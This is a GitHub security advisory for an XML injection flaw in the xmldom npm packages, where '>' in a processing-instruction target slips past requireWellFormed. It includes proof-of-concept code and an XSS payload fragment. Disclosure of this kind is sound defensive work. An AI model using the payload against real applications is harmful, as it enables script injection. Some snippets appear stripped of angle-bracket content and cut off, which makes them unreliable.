GitHub Advisoryadvisory · npm
GHSA-c7q8-3ch8-vqpv xmldom: Processing Instruction Target Injection Bypasses requireWellFormed
HIGH
Official page ↗
- Aliases
- CVE-2026-83616
- Ecosystem
- npm
- Packages
- @xmldom/xmldom, xmldom
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-91
- Reviewed
- 2026-09-08
Affected packages
• npm @xmldom/xmldom: >= 0.7.0, < 0.8.15 → fixed in 0.8.15
• npm @xmldom/xmldom: >= 0.9.0, < 0.9.12 → fixed in 0.9.12
• npm xmldom: <= 0.6.0 (no fix yet)
Description
Summary
`Document.createProcessingInstruction()` in `@xmldom/xmldom` performs no validation on the `target` parameter. The `requireWellFormed: true` serializer option validates only for `:` in the target and a case-insensitive `xml` prefix, but does not check for `>` characters. A `>` in the target breaks the processing instruction boundary (``), allowing injection of arbitrary content into the serialized XML output.
Details
`Document.createProcessingInstruction(target, data)` at `lib/dom.js` around line 2413 accepts any string as the `target` parameter and stores it on the PI node without validation.
During serialization, the `requireWellFormed` code path (around line 3286) performs two checks on PI targets:
1. Rejects targets containing `:` (namespace prefix check)
2. Rejects targets matching `xml` case-insensitively (reserved prefix)
However, it does NOT validate that the target conforms to the XML Name production, and critically does NOT check for `>` characters. Since processing instructions are serialized as ``, a `>` in the target prematurely closes the PI, causing the remaining content to be interpreted as document content by any downstream XML parser.
Root Cause
1. `createProcessingInstruction()` performs no validation on `target`
2. The serializer's `requireWellFormed` check is incomplete -- it only checks for `:` and `xml`, missing characters that break PI syntax (`>`, `?`, whitespace)
3. The serializer emits the target verbatim: ``
Proof of Concept
```javascript
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const impl = new DOMImplementation();
const serializer = new XMLSerializer();
const doc = impl.createDocument(null, 'root', null);
// PI target containing > breaks the PI boundary
const pi = doc.createProcessingInstruction('a>', 'data');
doc.documentElement.appendChild(pi);
const output = serializer.serializeToString(doc, { requireWellFormed: true });
console.log(output);
// Output: data?>
//
// The > in the target closes the PI prematurely.
// A downstream XML parser sees:
// - Processing instruction: (target "a", no data)
// - Text content: " data?>"
//
// requireWellFormed: true did NOT prevent the injection.
```
Injecting elements via PI target
```javascript
const pi2 = doc.createProcessingInstruction(
'a?>alert(1)alert(1)
//
// The injected element is valid XHTML that a browser would execute.
```
Impact
Applications that create processing instructions with user-controlled target strings and serialize the result are vulnerable to XML injection. This enables:
• XML structure injection: Breaking the PI boundary to inject arbitrary elements, text, or additional processing instructions into the output
• XSS via XHTML: If the serialized output is served as XHTML or processed by a browser-based XML parser, injected script elements will execute
• XXE chain: Injected DOCTYPE declarations or entity references could trigger XXE in downstream XML parsers that consume the output
• requireWellFormed bypass: The existing well-formedness checks are incomplete and provide a false sense of security
Fix Applied
Under `requireWellFormed`, the serializer validates a processing-instruction target as an XML `NCName` (a `Name` with no colon) and rejects a case-insensitive `xml`, throwing `InvalidStateError` when the target is ill-formed — so a `>`, `?`, or whitespace in the target is now refused.\
On 0.9.12 this replaces an earlier check that already rejected a colon or `xml`, so the no-colon rule is preserved.\
0.8.15 had no processing-instruction target check at all, so the whole target validation is new there.\
Non-breaking and opt-in. See the XML `Name` production.
> ⚠ Opt-in required. Protection is not automatic. Existing serialization calls remain
> vulnerable unless `{ requireWellFormed: true }` is explicitly passed. Applications that
> serialize untrusted DOM content should audit all `serializeToString()` call sites and add it.
Proof of Concept - fixed path
```javascript
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const impl = new DOMImplementation();
const serializer = new XMLSerializer();
const doc = impl.createDocument(null, 'root', null);
// PI target containing > breaks the PI boundary
const pi = doc.createProcessingInstruction('a>', 'data');
doc.documentElement.appendChild(pi);
// Default path: emits the ill-formed target verbatim.
console.log(serializer.serializeToString(doc));
// Output: data?>
// Opt-in path: the target check now rejects the break-out character.
try {
serializer.serializeToString(doc, { requireWellFormed: true });
} catch (e) {
console.log(e.name); // InvalidStateError
}
```
Why the default stays verbatim
W3C DOM Parsing's require-well-formed flag defaults to false, and the browser `XMLSerializer` emits the target verbatim in that default mode. Unconditionally throwing on an ill-formed PI target would diverge from that platform behavior and would be an unjustified breaking change, so the stricter validation is gated behind `{ requireWellFormed: true }`. (See the W3C XML Name production and XML Processing Instructions.)
Residual limitation
The default serialization path still emits the ill-formed target verbatim -- only the opt-in `requireWellFormed` path is protected. Creation-time validation of the `target` in `createProcessingInstruction()` is breaking and is deferred to the next breaking release, tracked at xmldom/xmldom#1073.
Related
Alias · CVE (1)
- CVE-2026-83616 xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. vulnerability
Weakness · CWE (1)
- CWE-91 XML Injection weakness
References
- https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-83616 advisory
- https://github.com/xmldom/xmldom/pull/1071 web
- https://github.com/xmldom/xmldom/pull/1072 web
- https://github.com/xmldom/xmldom/commit/1cde3e31a07c41c87cfd368d6946aa477f16b4f9 web
- https://github.com/xmldom/xmldom/commit/3b694872bcb5c7e3cbadba961a4be2488750ce5b web
- https://github.com/xmldom/xmldom package
- https://github.com/xmldom/xmldom/releases/tag/0.8.15 web
- https://github.com/xmldom/xmldom/releases/tag/0.9.12 web